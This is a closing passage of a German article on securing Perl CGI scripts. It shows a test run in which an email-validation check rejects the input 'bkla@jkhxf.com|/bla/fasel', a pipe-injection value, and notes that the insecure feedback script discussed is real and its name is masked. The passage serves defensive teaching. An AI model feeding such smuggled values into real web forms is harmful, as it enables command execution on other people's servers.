Ruft man das Skript nun auf mit perl test.pl “bkla@jkhxf.com|/bla/fasel” wird in der letzten Zeile der Unterschied gemerkt und darauf hingewiesen, wärend eine korrekte E-Mail-Adresse auch als solche durchgeht.

Bemerkung

Bei dem herangezogenen Skriptbeispiel für das unsichere Feedback-Programm handelt es sich um ein reales Beispiel. Das Skript konnte bei der Erstellung dieses Artikels so wie es hier teilweise angegeben wurde über dessen Homepage und vom CGI-Resource Archiv geladen werden.
Da das Skript laut Download-Rating der Homepage bereits mehrere Hundert Male geladen und möglicherweise eingesetzt wurde, und wird, hab ich mich entschloßen aus naheliegenden Gründen den wahren Namen bis auf weiteres zu maskieren.

5. Referenzen

Bücher und Online-Referenzen

Folgende Links und Buchreferenzen halfen besonders bei der Erstellung dieses Artikels. Bitte beachten Sie, daß ich mich bei den Online-Referenzen auf den Seiteninhalt von April/Mai 2000 beziehe und keinen Einfluß über etwaige Seitenänderungen habe.

Dank

Besonderen Dank für die Mithilfe bei der Erstellung des Artikels geht an die folgenden Personen:

Kommentare deaktiviert :, , , Mehr...